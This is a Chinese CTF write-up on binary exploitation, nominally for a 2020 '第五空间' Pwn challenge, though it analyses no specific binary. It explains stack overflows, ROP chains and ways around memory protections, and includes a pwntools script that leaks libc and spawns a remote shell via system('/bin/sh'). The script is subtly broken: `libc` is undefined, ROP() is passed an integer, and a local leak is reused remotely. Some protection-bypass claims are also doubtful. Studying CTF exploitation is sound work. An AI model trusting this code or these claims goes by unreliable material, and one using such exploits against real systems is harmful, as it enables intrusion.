2020第五空间智能安全大赛Pwn题解析:从漏洞原理到Exploit编写实战

1次阅读
没有评论

共计 2334 个字符,预计需要花费 6 分钟才能阅读完成。

image.webp

背景:CTF Pwn 题的特点

在 CTF(Capture The Flag)比赛中,Pwn(取 ”own” 的谐音)类题目主要考察二进制漏洞的挖掘与利用能力。这类题目通常提供一个存在漏洞的可执行程序,选手需要通过逆向分析找到漏洞点,并编写利用代码(Exploit)来获取目标系统的控制权。

2020 第五空间智能安全大赛 Pwn 题解析:从漏洞原理到 Exploit 编写实战

  • 评分规则:通常根据漏洞利用的难度和完成度评分,常见指标包括:
  • 成功获取 flag(通常位于服务器上的特定文件)
  • 利用链的复杂度(如是否需要多阶段攻击)
  • 绕过防护机制的数量(如 ASLR、NX、Stack Canary 等)

技术选型:静态分析与动态调试

静态分析工具(IDA/Ghidra)

  • 优势
  • 提供全局视图,快速定位敏感函数(如getsstrcpy
  • 支持反编译为伪代码(Pseudocode),降低分析难度
  • 可生成调用图(Call Graph)和数据流图(Data Flow Graph)

  • 劣势

  • 无法观察运行时内存状态
  • 对混淆代码(Obfuscated Code)处理效果有限

动态调试工具(GDB + pwntools)

  • 优势
  • 实时查看寄存器 / 内存值(通过 info registersx/xw $esp 等命令)
  • 可设置条件断点(如b *0x8048000 if $eax==0xdeadbeef
  • pwntools 库提供自动化交互功能(如发送 payload、接收输出)

  • 劣势

  • 需要反复运行程序,耗时较长
  • 可能触发反调试机制(Antidebugging)

漏洞识别与利用实战

漏洞类型识别

以栈溢出(Stack Overflow)为例,典型特征包括:

+------------------+
| 局部变量         | <-- 溢出方向
+------------------+
| 保存的 EBP        |
+------------------+
| 返回地址         | <-- 覆盖目标
+------------------+
| 函数参数         |
+------------------+

通过以下步骤确认:
1. 使用 checksec 检查程序防护(如 NX/DEP 是否开启)
2. 在 IDA 中查找危险函数(如readscanf
3. 动态调试验证输入长度是否可控

ROP 链构造原理

Return-Oriented Programming(ROP)通过复用代码片段(Gadgets)绕过 NX 防护。数学原理如下:

  1. 设目标函数地址为F,参数为arg1
  2. 构造链:pop_rdi_ret_addr + arg1 + F
  3. CPU 执行流程:
  4. pop rdiarg1 存入rdi(x64 第一个参数寄存器)
  5. ret跳转到F

寄存器状态机示例:

[Before] RIP=pop_rdi_ret, RSP=arg1_addr
[After pop] RDI=arg1, RSP=F_addr
[After ret] RIP=F, RSP+=8

对抗内存防护的三种方案

防护机制 绕过方法 适用场景
ASLR 信息泄漏(如 puts@got) 存在输出函数
Stack Canary 覆盖失败后触发异常处理(FSOP) 有异常处理结构
RELRO 劫持动态链接器(如_dl_runtime_resolve) 部分 RELRO

Exploit 代码示例

from pwn import *

context(arch='amd64', os='linux')

# 1. 泄漏 libc 地址
def leak_libc():
    p = process('./vuln')
    payload = b'A'*24 + p64(0x400683)  # pop_rdi; ret
    payload += p64(0x601018)           # puts@got
    payload += p64(0x400470)           # puts@plt
    p.sendline(payload)
    leak = u64(p.recv(6).ljust(8, b'\x00'))
    libc_base = leak - 0x06f690        # 偏移需根据实际 libc 版本调整
    return libc_base

# 2. 构造 ROP 链
def build_rop(libc_base):
    rop = ROP([libc_base])
    rop.system(next(libc.search(b'/bin/sh')))
    return rop.chain()

# 3. 触发漏洞
try:
    libc_base = leak_libc()
    rop_chain = build_rop(libc_base)
    payload = b'A'*24 + rop_chain
    p = remote('ctf.example.com', 9999)
    p.sendline(payload)
    p.interactive()
except Exception as e:
    log.error(f"Exploit failed: {str(e)}")

避坑指南

环境差异处理

  • 本地调试 :使用ldd 确认 libc 版本,建议用 patchelf 固定链接器路径
  • 远程部署 :通过nc 测试端口连通性,注意网络延迟导致的超时

堆布局控制

  1. 预先分配多个 chunk 填充内存(Heap Feng Shui)
  2. 使用 malloc_trim(0) 触发碎片整理
  3. 通过 size 字段控制 chunk 合并方向

对抗随机化

  1. 部分覆盖指针低字节(Partial Overwrite)
  2. 爆破 16 位熵(如 fork 服务器的 PID)
  3. 利用内存残留数据(如未初始化的栈变量)

进阶思考

  1. 敏感函数识别自动化:如何通过 Angr/Symbolic Execution 标记危险调用点?
  2. 沙箱逃逸:当遇到 seccomp 限制系统调用时,如何利用现有调用组合实现攻击?
  3. 成功率验证:如何通过 Monte Carlo 方法统计不同环境下的 Exploit 稳定性?

总结

通过本次实战,我们完成了从漏洞分析到 Exploit 编写的完整链路。关键点在于:
– 结合静态 / 动态分析定位漏洞
– 理解 CPU 执行流程与内存模型
– 模块化编写可复用的攻击代码
建议读者尝试用不同防护配置重新编译题目,观察 Exploit 的适应性变化。

正文完
 0
评论(没有评论)